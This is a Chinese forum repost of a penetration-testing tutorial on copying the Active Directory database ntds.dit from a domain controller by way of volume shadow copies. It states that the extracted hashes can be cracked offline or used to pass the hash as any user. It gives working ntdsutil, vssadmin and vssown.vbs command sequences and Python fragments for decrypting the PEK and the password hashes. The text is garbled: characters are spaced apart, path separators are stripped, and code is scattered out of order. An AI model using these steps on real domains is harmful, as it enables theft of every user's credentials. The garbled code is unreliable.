搜索

[18572] 2021-06-09_内网渗透利用拷贝卷影提取ntds.dit

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-18
2021-06-09_内网渗透利用拷贝卷影提取ntds.dit 内 网 渗 透   |   利 用 拷 贝 卷 影 提 取 n t d s . d i t 原 创   D r u n k m a r s   H A C K 学 习 呀   2 0 2 1 - 0 6 - 0 9 0 x 0 1   前 言 前 言   通 常 情 况 下 ， 即 使 拥 有 管 理 员 权 限 ， 也 无 法 读 取 域 控 制 器 中 的 C : W i n d o w s N T D S n t d s . d i t 文 件 。 那 么 什 么 是 n t d s . d i t 呢 ？   n t d s . d i t 文 件 是 一 个 数 据 库 ， 用 于 存 储 A c t i v e   D i r e c t o r y 数 据 ， 包 括 有 关 用 户 对 象 ， 组 和 组 成 员 身 份 的 信 息 。 它 包 括 域 中 所 有 用 户 的 密 码 哈 希 。 通 过 提 取 这 些 哈 希 值 ， 可 以 使 用 诸 如 M i m i k a t z 之 类 的 工 具 执 行 哈 希 传 递 攻 击 ， 或 使 用 诸 如 H a s h c a t 之 类 的 工 具 来 破 解 这 些 密 码 。 这 些 密 码 的 提 取 和 破 解 可 以 脱 机 执 行 ， 因 此 将 无 法 检 测 到 。 一 旦 攻 击 者 提 取 了 这 些 散 列 ， 它 们 便 可 以 充 当 域 上 的 任 何 用 户 ， 包 括 域 管 理 员 。   在 活 动 目 录 中 ， 所 有 的 数 据 都 保 存 在 n t d s . d i t 中 。 n t d s . d i t 是 一 个 二 进 制 文 件 ， 存 储 位 置 为 域 控 制 器 的 % S y s t e m R o o t % n t d s n t d s . d i t 。 n t d s . d i t 中 包 含 用 户 名 、 散 列 值 、 组 、 G P P 、 O U 等 与 活 动 目 录 相 关 的 信 息 。 它 和 S A M 文 件 一 样 ， 是 被 操 作 系 统 锁 定 的 。 在 一 般 情 况 下 系 统 运 维 人 员 会 利 用 卷 影 拷 贝 服 务 （ v o l u m e   S h a d o w   C o p y   S e r v e r ， V S S ） 实 现 n t d s . d i t 的 拷 贝 ， V S S 本 质 上 属 快 照 （ S n a m s h o t ） 技 术 的 一 种 ， 主 要 用 于 备 份 和 恢 复 （ 即 使 目 标 文 件 被 系 统 锁 定 ） 。    
一 般 域 环 境 内 最 重 要 的 三 个 文 件 如 下 ：   0 x 0 2   n t d s . d i t 深 入 剖 析 深 入 剖 析   A c t i v e   D i r e c t o r y 域 数 据 库 存 储 在 n t d s . d i t 文 件 中 （ 默 认 情 况 下 存 储 在 c ：   W i n d o w s     N T D S 中 ， 但 通 常 存 储 在 其 他 逻 辑 驱 动 器 上 ） 。 A D 数 据 库 是 一 个 J e t 数 据 库 引 擎 ， 它 使 用 可 扩 展 存 储 引 擎 （ E S E ） 提 供 数 据 存 储 和 索 引 服 务 。 通 过 E S E 级 别 索 引 ， 可 以 快 速 定 位 对 象 属 性 。 E S E 确 保 数 据 库 符 合 A C I D （ 原 子 ， 一 致 ， 隔 离 和 持 久 ） – 事 务 中 的 所 有 操 作 都 已 完 成 或 不 执 行 。 A D   E S E 数 据 库 非 常 快 速 且 可 靠 。   注 意 ： M i c r o s o f t 还 将 J e t 数 据 库 用 于 E x c h a n g e 邮 箱 数 据 库 。   A c t i v e   D i r e c t o r y 通 过 基 于 L R U - K 算 法 的 缓 存 将 部 分 n t d s . d i t 文 件 加 载 到 （ L S A S S 保 护 的 ） 内 存 中 ， 以 确 保 最 常 访 问 的 数 据 在 内 存 中 ， 以 提 高 性 能 ， 从 而 第 二 次 提 高 读 取 性 能 。 数 据 库 更 改 是 在 内 存 中 执 行 的 ， 然 后 写 入 事 务 日 志 ， 然 后 稍 后 对 数 据 库 文 件 进 行 延 迟 提 交 。 检 查 点 文 件 （ e d b . c h k ） 会 跟 踪 到 此 刻 写 入 的 事 务 。   “ 版 本 存 储 ” 是 从 内 存 中 读 取 数 据 时 对 象 实 例 的 副 本 ， 这 使 得 无 需 更 改 读 取 数 据 即 可 执 行 更 新 （ E S E 事 务 视 图 ） 。 读 取 操 作 完 成 后 ， 该 版 本 存 储 实 例 将 结 束 。   尽 管 A c t i v e   D i r e c t o r y 由 三 个 目 录 分 区 （ 域 ， 配 置 和 架 构 ） 组 成 ， 但 这 只 是 数 据 库 数 据 的 抽 象 视 图 。 n t d s . d i t 文 件 由 三 个 主 要 表 组 成 ： 数 据 表 ， 链 接 表 和 S D 表 。   数 据 表 数 据 表   数 据 表 包 含 A c t i v e   D i r e c t o r y 数 据 存 储 中 的 所 有 信 息 ： 用 户 ， 组 ， 特 定 于 应 用 程 序 的 数 据 ， 以 及 安 装 后 在 A c t i v e   D i r e c t o r y 中 存 储 的 任 何 其 他 数 据 。 可 以 将 数 据 表 视 为 具 有 行 （ 每 个 代 表 对 象 的 实 例 ， 例 如 用 户 ） 和 列 （ 每 个 代 表 模 式 中 的 属 性 ， 例 如 G i v e n N a m e ） 。 ） 。 对 于 模 式 中 的 每 个 属 性 ， 表 均 包 含 一 列 ， 称 为 字 段 。 字 段 大 小 可 以 是 固 定 的 或 可 变 的 。 固 定 大 小 的 字 段 包 含 整 数 或 长 整 数 作 为 数 据 类 型 。 可 变 大 小 字 段 通 常 包 含 字 符 串 类 型 ， 例 如 U n i c o d e 字 符 串 。 数 据 库 仅 分 配 可 变 大 小 字 段 所 需 的 空 间 ： 1 个 字 符 的 U n i c o d e 字 符 串 为 1 6 位 ， 1 0 个 字 符 的 U n i c o d e 字 符 串 为 1 6 0 位 ， 依 此 类 推 。   用 于 存 储 对 象 的 数 据 库 空 间 取 决 于 为 其 设 置 值 的 属 性 的 数 量 和 值 的 大 小 。 例 如 ， 如 果 管 理 员 创 建 了 两 个 用 户 对 象 （ U s e r 1 和 U s e r 2 ） ， 仅 在 其 上 设 置 了 最 小 属 性 ， 然 后 向 U s e r 2 添 加 了 1 0 个 字 符 的 描 述 ， 则 U s e r 2 空 间 比 U s e r 1 空 间 大 8 0 个 字 节 （ 2 0 个 字 节 ） 。 1 0 个 字 符 的 字 节 数 ， 以 及 新 生 成 的 属 性 上 的 元 数 据 ） 。   n t d s . d i t 文 件 位 置 :   C : W i n d o w s N T D S N T D S . d i t s y s t e m 文 件 位 置 : C : W i n d o w s S y s t e m 3 2 c o n f i g S Y S T E M s a m 文 件 位 置 : C : W i n d o w s S y s t e m 3 2 c o n f i g S A M
数 据 库 记 录 不 能 跨 越 数 据 库 页 面 ； 因 此 ， 每 个 对 象 被 限 制 为 8   K B 。 但 是 ， 对 象 的 某 些 属 性 值 不 能 完 全 计 入 此 限 制 。 长 度 可 变 的 长 值 可 以 存 储 在 与 对 象 记 录 不 同 的 页 面 上 ， 仅 留 下 9 字 节 的 引 用 。 这 样 ， 一 个 对 象 及 其 所 有 属 性 值 可 以 大 于 8   K B 。   链 接 表 链 接 表   链 接 表 包 含 代 表 链 接 属 性 的 数 据 ， 这 些 属 性 包 含 引 用 A c t i v e   D i r e c t o r y 中 其 他 对 象 的 值 。 一 个 示 例 是 用 户 对 象 上 的 M e m b e r O f 属 性 ， 其 中 包 含 引 用 用 户 所 属 组 的 值 。 链 接 表 比 数 据 表 小 得 多 。   S D 表 表   S D 表 包 含 代 表 每 个 对 象 的 继 承 的 安 全 描 述 符 的 数 据 。 随 着 W i n d o w s   S e r v e r   2 0 0 3 或 更 高 版 本 中 S D 表 的 引 入 ， 继 承 的 安 全 描 述 符 不 再 必 须 在 每 个 继 承 安 全 描 述 符 的 对 象 上 重 复 。 取 而 代 之 的 是 ， 继 承 的 安 全 描 述 符 存 储 在 S D 表 中 ， 并 链 接 到 适 当 的 对 象 。   A c t i v e   D i r e c t o r y 中 使 用 的 密 码 哈 希 加 密   请 注 意 ， 在 上 一 个 列 表 中 ， 有 许 多 字 段 被 描 述 为 已 加 密 。 这 种 加 密 的 目 的 是 提 供 针 对 脱 机 数 据 提 取 的 保 护 。   M i c r o s o f t 为 提 供 这 种 保 护 而 引 入 的 解 决 方 案 很 复 杂 ， 由 3 层 加 密 组 成 ， 其 中 2 层 使 用 R C 4 ， 第 三 层 使 用 D E S 。   为 了 解 密 存 储 在 N T D S . D I T 中 的 哈 希 ， 必 须 执 行 以 下 步 骤 ：   1 . 使 用 启 动 密 钥 （ R C 4 - 第 1 层 ） 解 密 P E K （ 密 码 加 密 密 钥 ） 2 . 第 一 轮 哈 希 解 密 （ 使 用 P E K 和 R C 4 - 第 2 层 ） 3 . 第 二 轮 哈 希 解 密 （ D E S - 第 3 层 ）   密 码 加 密 密 钥 密 码 加 密 密 钥 P E K 或 密 码 加 密 密 钥 用 于 加 密 N T D S . D I T 中 存 储 的 数 据 。 该 密 钥 在 整 个 域 中 都 是 相 同 的 ， 这 意 味 着 在 所 有 域 控 制 器 上 它 都 是 相 同 的 。 P E K 本 身 也 以 加 密 形 式 存 储 在 N T D S . D I T 中 。 为 了 对 其 进 行 解 密 ， 将 需 要 来 自 获 得 N D T S . D I T 文 件 的 同 一 域 控 制 器 中 的 注 册 表 （ S Y S T E M 配 置 单 元 ） 。 这 是 因 为 P E K 是 使 用 B O O T K E Y 加 密 的 ， 该 B O O T K E Y 在 所 有 域 控 制 器 （ 实 际 上 在 域 中 的 所 有 计 算 机 ） 上 都 是 不 同 的 。   为 了 解 密 P E K ， 必 须 从 N T D S . D I T 获 取 A T T k 5 9 0 6 8 9 字 段 。 如 前 所 述 ， 存 储 在 数 据 库 中 的 所 有 对 象 都 将 具 有 此 字 段 。 为 了 确 定 需 要 哪 一 个 ， 必 须 检 查 该 值 是 否 为 空 。   该 值 的 长 度 为 7 6 个 字 节 （ 存 储 为 二 进 制 数 据 ） 。 值 的 结 构 如 下 ： 标 头 8 字 节
R C 4 的 密 钥 材 料 1 6 字 节 加 密 的 P E K   5 2 字 节   解 密 后 ， 解 密 后 的 P E K 的 值 也 可 以 分 为 2 部 分 。 人 们 将 不 得 不 跳 过 前 3 6 个 字 节 （ 因 此 实 际 P E K 密 钥 的 长 度 为 1 6 个 字 节 ） 。   这 是 可 用 于 在 获 得 启 动 密 钥 后 将 P E K 密 钥 解 密 的 p y t h o n 算 法 ： 可 以 看 到 解 密 中 有 一 个 M D 5 散 列 部 分 ， 包 含 1 0 0 0 轮 回 合 。 这 是 为 了 使 对 密 钥 的 暴 力 攻 击 更 加 耗 时 。   密 码 哈 希 解 密 密 码 哈 希 解 密 现 在 ， P E K 已 解 密 ， 下 一 个 任 务 是 解 密 存 储 在 用 户 对 象 的 A T T k 5 8 9 8 7 9 （ 加 密 的 L M 哈 希 ） 和 A T T k 5 8 9 9 1 4 （ 加 密 的 N T 哈 希 ） 属 性 中 的 哈 希 。   第 一 步 是 删 除 R C 4 加 密 层 。 在 此 期 间 ， 将 P E K 密 钥 和 加 密 哈 希 的 前 1 6 个 字 节 用 作 R C 4 密 码 的 密 钥 材 料 。 下 面 是 N T D S . D I T 数 据 库 中 存 储 的 4 0 字 节 长 的 加 密 哈 希 值 的 结 构 。 标 头 8 字 节 R C 4 的 密 钥 材 料 1 6 字 节 加 密 的 哈 希 1 6 字 节   删 除 R C 4 加 密 层 的 算 法 如 下 ： 最 后 一 步 是 删 除 D E S 加 密 层 ， 该 层 实 际 上 与 在 注 册 表 中 存 储 密 码 散 列 的 情 况 下 使 用 的 所 谓 “ 标 准 ”   S Y S K E Y 加 密 非 常 相 似 （ 有 关 算 法 的 详 细 信 息 ， 请 参 见 此 处 –   h t t p ： / /   m o y i x   . b l o g s p o t . c o m   /   2 0 0 8 / 0 2   /   s y s k e y - a n d s a m . h t m l ） 。   下 面 是 算 法 的 最 后 一 部 分 ： m d 5   =   M D 5 . n e w （ ） m d 5 . u p d a t e （ b o o t k e y ） f o r   i   i n   r a n g e （ 1 0 0 0 ） ： m d 5 . u p d a t e （ e n c _ p e k   [ 0 : 1 6 ] ） r c 4 _ k e y   =   m d 5 . d i g e s t （ ） ; r c 4   =   A R C 4 . n e w （ r c 4 _ k e y ） p e k   =   r c 4 . e n c r y p t （ e n c _ p e k   [ 1 6 ： ] ） r e t u r n   p e k   [ 3 6 ： ]   m d 5   =   M D 5 . n e w （ ） m d 5 . u p d a t e （ p e k ） m d 5 . u p d a t e （ e n c _ h a s h   [ 0 : 1 6 ] ） r c 4 _ k e y   =   m d 5 . d i g e s t （ ） ; r c 4   =   A R C 4 . n e w （ r c 4 _ k e y ） d e n c _ h a s h   =   r c 4 . e n c r y p t （ e n c _ h a s h   [ 1 6 ： ] ） （ d e s _ k 1 ， d e s _ k 2 ） =   s i d _ t o _ k e y （ r i d ） d 1   =   D E S . n e w （ d e s _ k 1 ， D E S . M O D E _ E C B ） d 2   =   D E S . n e w （ d e s _ k 2 ， D E S . M O D E _ E C B ）
注 意 ， 必 须 具 有 用 户 的 S I D 才 能 确 定 R I D 并 计 算 用 于 D E S 的 密 钥 。   0 x 0 3   抓 取 抓 取 n t d s . d i t   1 . 通 过 n t d s u t i l . e x e 提 取 n t d s . d i t   创 建 快 照 挂 载 快 照 复 制 n t d s . d i t 可 以 看 到 在 c 盘 下 面 已 经 把 n t d s . d i t 复 制 了 出 来 h a s h   =   d 1 . d e c r y p t （ d e n c _ h a s h ）   [ ： 8 ] ） +   d 2 . d e c r y p t （ d e n c _ h a s h   [ 8 ： ] ） n t d s u t i l   s n a p s h o t   " a c t i v a t e   i n s t a n c e   n t d s "   c r e a t e   q u i t   q u i t n t d s u t i l   s n a p s h o t   " m o u n t   { b 4 2 5 c e f 1 - c 7 3 c - 4 b e 5 - a d 8 6 - 5 2 2 c 2 7 a 1 8 1 8 0 } "   q u i t   q u i t c o p y   C : $ S N A P _ 2 0 2 1 0 4 1 8 0 9 5 8 _ V O L U M E C $ w i n d o w s N T D S n t d s . d i t   c : n t d s . d i t
点 进 去 看 一 下 是 完 全 一 样 的 卸 载 快 照 n t d s u t i l   s n a p s h o t   " u n m o u n t   { b 4 2 5 c e f 1 - c 7 3 c - 4 b e 5 - a d 8 6 - 5 2 2 c 2 7 a 1 8 1 8 0 } "   q u i t   q u i t
删 除 快 照   2 . 利 用 v s s a d m i n 提 取 n t d s . d i t   创 建 C 盘 的 卷 影 拷 贝   卷 影 副 本   I D :   { 6 d 2 a b 8 0 1 - 1 0 c a - 4 8 9 0 - 8 b 8 9 - e 8 0 5 1 d d f 0 2 8 6 } 卷 影 副 本 卷 名 :   ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 2   在 创 建 的 卷 影 拷 贝 中 将 n t d s . d i t 复 制 出 来 此 时 在 C 盘 目 录 下 发 现 n t d s . d i t 已 经 被 复 制 出 来 n t d s u t i l   s n a p s h o t   " d e l e t e   { b 4 2 5 c e f 1 - c 7 3 c - 4 b e 5 - a d 8 6 - 5 2 2 c 2 7 a 1 8 1 8 0 } "   q u i t   q u i t v s s a d m i n   c r e a t e   s h a d o w   / f o r = c : c o p y   ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 2 w i n d o w s n t d s n t d s . d i t   c : n t d s . d i t
  删 除 快 照   3 . 利 用 v s s o w n . v b s 提 取 n t d s . d i t v s s o w n . v b s   g i t h u b 链 接 : h t t p s : / / g i t h u b . c o m / l a n m a s t e r 5 3 / p t s c r i p t s / b l o b / m a s t e r / w i n d o w s / v s s o w n . v b s 首 先 查 找 一 下 n t d s . d i t 的 位 置 v s s a d m i n   d e l e t e   s h a d o w s   / f o r = c :   / q u i e t r e g   q u e r y   H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t S e r v i c e s N T D S P a r a m e t e r s
启 动 卷 影 拷 贝 服 务     创 建 一 个 C 盘 的 卷 影 拷 贝 列 出 当 前 卷 影 拷 贝 c s c r i p t   / / n o l o g o   v s s o w n . v b s   / s t a r t c s c r i p t   v s s o w n . v b s   / c r e a t e   c c s c r i p t   v s s o w n . v b s   / l i s t
可 以 看 到 i d 为 { F 2 7 E 8 8 4 9 - 8 B F D - 4 4 E 1 - B 6 D 7 - C 8 5 1 1 9 8 E 9 7 1 D } ， 存 储 位 置 为 ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 3   复 制 n t d s . d i t   c o p y   ? G L O B A L R O O T D e v i c e H a r d d i s k V o l u m e S h a d o w C o p y 3 w i n d o w s N T D S n t d s . d i t   c : n t d s . d i t
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理